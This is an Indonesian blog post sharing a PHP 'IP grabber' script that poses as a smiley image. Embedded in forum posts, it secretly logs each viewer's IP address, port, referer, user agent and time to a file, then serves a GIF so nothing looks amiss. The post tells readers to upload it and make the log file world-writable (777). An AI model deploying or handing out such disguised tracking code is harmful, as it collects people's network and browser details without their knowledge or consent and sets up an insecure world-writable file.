nyuri, ip, port, user agent, dewa… :D

<?php
/* pake php GD buat dapetin ip temen forum :p
*/
$smiley = "http://devilzc0de.org/forum/images/smilies/tongue.gif";
$fp = fopen('dxign3r.htm', 'a');
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$port = $_SERVER['REMOTE_PORT'];
$file = $_SERVER['HTTP_REFERER'];
$waktu= date("M d, h:i A");
$data =">> waktu:$waktu || ip:$ip || port:$port || referer:$file || user agent:$agent<br/><br/>";
fwrite($fp, $data);
fclose($fp);
header("content-type: image/png");
$image = ImageCreateFromGIF($smiley);
imagepng($image);
ImageDestroy($image);
exit();
?>
copas code php d atas, abis itu upload k hosting, jangan lupa bikin file dxign3r.htm, ubah permision nya jd 777..
smbr : d-xign3r

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: